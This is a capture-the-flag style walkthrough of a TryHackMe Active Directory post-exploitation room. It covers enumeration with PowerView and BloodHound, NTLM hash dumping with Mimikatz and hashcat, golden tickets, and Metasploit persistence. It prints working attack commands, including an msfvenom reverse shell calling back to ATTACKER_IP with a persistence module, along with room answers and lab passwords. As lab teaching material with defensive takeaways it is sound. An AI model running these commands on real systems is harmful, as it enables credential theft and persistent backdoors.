root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat post-exploitation-basics.md
// Offensive

Post-Exploitation Basics

19 Nov 2026 · 7 min read
Overview — An Offensive walkthrough room about what happens after you already hold admin access to a Windows Active Directory domain controller. You enumerate the domain with PowerView and BloodHound, dump NTLM hashes with Mimikatz and crack them offline, see how a forged Kerberos ticket works conceptually, browse the domain with Server Manager, and finish by keeping access with a Metasploit payload and persistence module.
PlatformTryHackMe
CategoryOffensive
DifficultyEasy
RoomPost-Exploitation Basics

Task 1 — Introduction

Post-exploitation is everything that follows the first foothold: working out where you are, who else is in the domain, which accounts matter, how to turn one machine into control of many, and how to avoid losing the access you earned. The room is deliberately practical rather than CTF-style. It hands you a domain controller (MACHINE_IP) with domain CONTROLLER.local and an Administrator login, then walks through the standard toolkit.

The VM is slow to boot, so allow several minutes before RDP or SSH answers. Everything below assumes a lab where you are explicitly authorised to run these tools.

Task 2 — Enumeration with PowerView

PowerView is a PowerShell script from the PowerSploit/Empire family that talks to Active Directory through LDAP and Windows APIs. It needs no special binary, only a PowerShell session, which makes it a classic first stop once you have a shell. Connect to the target over RDP with the credentials the room provides.

xfreerdp /v:MACHINE_IP /cert:ignore /u:Administrator /p:'PASSWORD' /h:1024 /w:1500 +clipboard

/cert:ignore accepts the lab's self-signed certificate and +clipboard lets you paste commands into the session. Then start PowerShell with the execution policy relaxed for that process only and dot-source the script so its functions load into your session.

powershell -ep bypass
. .\Downloads\PowerView.ps1
Get-NetUser | select cn
Get-NetGroup -GroupName *admin*

-ep bypass sets the execution policy to Bypass for this process; it is a convenience guard, not a security boundary. The leading . (dot, space) is dot-sourcing: without it the functions would vanish when the script ends. Get-NetUser lists domain user objects and select cn trims the output to common names. Get-NetGroup with a wildcard finds every group with "admin" in its name, a fast way to spot privileged groups.

Note that the user listing also contains a deliberately odd account name; that is where the room hides its flag, shown here only as FLAG.

Q: What is the shared folder that is not set by default?
A: Share

Invoke-ShareFinder reports the usual ADMIN$, C$, IPC$, NETLOGON and SYSVOL shares plus one custom share, which is the one worth opening first on a real engagement.

Q: What operating system is running inside of the network besides Windows Server 2019?
A: Windows 10 Enterprise Evaluation

Get-NetComputer -fulldata | select cn, operatingsystem

The domain contains the domain controller plus two Windows 10 workstations, which tells you where users probably log in.

Q: Find the flag hidden inside the users.
A: FLAG

Task 3 — Enumeration with BloodHound

PowerView answers questions one at a time. BloodHound collects the same kind of data (users, groups, sessions, ACLs, trusts) and stores it in a graph database, Neo4j, so you can ask relationship questions such as "what is the shortest path from this account to Domain Admin?". It has two halves: a collector (SharpHound) that runs inside the domain, and a GUI/database on your own machine.

Prepare the attacker side first: install BloodHound, start Neo4j, and set a password on first login (the default neo4j credentials force a change).

sudo apt-get install bloodhound
sudo neo4j start
bloodhound

On the target, load the collector and gather everything into a zip archive.

powershell -ep bypass
. .\Downloads\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip

-CollectionMethod All gathers group memberships, sessions, ACLs, trusts and object properties in one run. Copy the zip back to your machine, for example with scp Administrator@MACHINE_IP:Desktop/*.zip ., since SSH is available on the box.

Version mismatch is the classic trap here. The older bundled collector produced files a current BloodHound rejected with a "bad JSON file" error. The fix is to use a SharpHound release that matches your BloodHound version: download the current SharpHound, copy SharpHound.exe to the target with scp, run it, and fetch the new zip. The import then succeeds.

Import the zip (drag and drop works when the import button does not) and use the pre-built queries to explore.

Q: What service is also a domain admin?
A: SQLSERVICE

A service account in Domain Admins is a serious finding: its password is often old and weak, and any user can request its Kerberos service ticket.

Q: What two users are Kerberoastable?
A: SQLSERVICE, KRBTGT

Kerberoastable means the account has a Service Principal Name (SPN), so any authenticated user can ask the KDC for a ticket encrypted with that account's key and crack it offline. In current BloodHound builds the built-in "kerberoastable" query may show only one result; a custom Cypher query matching enabled users with hasspn set returns both accounts the room expects.

Task 4 — Dumping hashes with Mimikatz

Mimikatz, by Benjamin Delpy, reads credential material from Windows. On a domain controller it can pull the NTLM hash of every account straight from the LSA. It must run with the debug privilege, which only a local administrator holds.

cd Downloads
.\mimikatz.exe
privilege::debug
lsadump::lsa /patch

privilege::debug should answer "Privilege '20' OK"; if not, you are not elevated and later commands will fail. lsadump::lsa /patch patches the LSA in memory to expose, for each RID, the user name and NTLM hash. Each hash is the unsalted MD4 of the password, which is why weak passwords fall instantly to a wordlist.

Crack one offline with hashcat; mode 1000 is NTLM.

hashcat -m 1000 HASH /usr/share/wordlists/rockyou.txt

Q: What is the Machine1 password?
A: Password1

Q: What is the Machine2 hash?
A: c39f2beb3d2ec06a62cb887fb391dee0

The same NTLM value appears for two different accounts in the dump, which means they share a password. Reuse like that is a finding in its own right.

Task 5 — Golden ticket attacks

A golden ticket abuses the trust the domain places in the krbtgt account, which signs every Kerberos Ticket Granting Ticket (TGT) in the domain. Anyone who holds that account's key material can mint a TGT for any user, including one that does not exist, and that forged ticket is accepted anywhere in the domain until the krbtgt password is rotated (twice, since old and current keys both stay valid for a while).

Getting there needs the same debug privilege as Task 4. Mimikatz can dump the krbtgt account's key and the domain SID, then use both to build a ticket and inject it into a new process, which inherits domain-wide access for as long as the ticket is valid.

Lab machines here are isolated, so there is nothing else on the simulated domain to pivot to with the forged ticket; the value of the exercise is understanding why krbtgt compromise is treated as a full domain-admin-equivalent incident, not in reaching a second host.

Defensive takeaway: because a golden ticket survives normal password resets of other accounts, the only remediation is rotating krbtgt's password twice and auditing for Kerberos anomalies (tickets with implausible lifetimes, unknown user SIDs) rather than simply resetting the compromised account.

Task 6 — Enumeration with Server Manager

Not every post-exploitation step needs an offensive tool. Windows Server ships Server Manager, and once you hold a privileged RDP session you can browse Active Directory Users and Computers from the Tools menu the same way an administrator would. It is slower than PowerView but leaves a very ordinary-looking session in the logs, which matters if you are trying to blend in during an authorised assessment.

Two habits are worth building here. First, the Description field on a user or computer object is visible to any authenticated user, and administrators sometimes park a password or a hint there by mistake — always check it. Second, Event Viewer, reachable from the same Tools menu, is the quickest way to see what logging the domain controller is actually producing, which matters as much for attackers avoiding detection as for defenders reviewing it afterward.

Q: What tool allows you to view the event logs?
A: Event Viewer

Q: What is the SQL Service password?
A: MYpassword123#

Finding a cleartext credential in an account description is a small thing with outsized impact: it is a live password for an account that Task 3 already showed sits in Domain Admins.

Task 7 — Maintaining access

A shell you lose the moment the target reboots is of limited use on a real assessment, so the room closes with the basics of persistence: generating a payload with msfvenom, catching it with a Metasploit handler, and then using the built-in persistence module to have the target reconnect automatically after a reboot.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

-p picks the payload, a staged Meterpreter shell that calls back over TCP; -f exe wraps it as a standalone Windows executable. After transferring shell.exe to the target, set up the matching listener on the attacking machine before running it.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
run

Executing the binary on the Windows host opens a Meterpreter session back on the handler. Background that session (background) and hand it to the persistence module, which schedules the same callback to fire repeatedly so a lost connection — including one caused by a reboot — reopens on its own.

use exploit/windows/local/persistence
set session 1
run

By default the module reconnects every ten seconds; that interval, and the payload it uses, are both configurable. From then on, starting the same multi/handler listener is enough to pick the session back up whenever the backdoor fires, which is also exactly the behaviour a defender should hunt for: an unexplained scheduled task or service calling out on a fixed interval.

Quick reference

ToolPurposeTask
PowerViewTargeted AD enumeration of users, groups, shares and computers2
SharpHound / BloodHoundCollect domain data and graph relationships, Kerberoastable accounts3
MimikatzDump NTLM hashes from the LSA; extract krbtgt material4, 5
hashcat (mode 1000)Crack NTLM hashes offline4
Server ManagerBrowse AD objects, read Description fields, Event Viewer6
msfvenom, multi/handler, persistence modulePayload, listener and persistent callback7

Key takeaways

  • PowerView and BloodHound answer the same domain-enumeration questions at different scales: PowerView for quick, targeted lookups, BloodHound for relationship and attack-path questions across the whole domain.
  • Any account with an SPN is Kerberoastable by any authenticated user; service accounts in privileged groups turn that into a direct path to Domain Admin.
  • NTLM hashes dumped from LSA are unsalted and crack instantly against weak or reused passwords — password reuse across service accounts is itself a finding.
  • Compromise of the krbtgt account is domain-wide and survives ordinary password resets of other accounts; only rotating krbtgt itself (twice) closes a golden ticket.
  • Plaintext credentials left in AD object description fields are a recurring, low-effort find during manual enumeration.
  • Persistence mechanisms such as a scheduled callback are also detection opportunities: regular, unexplained outbound connections on a fixed interval are a strong indicator of compromise.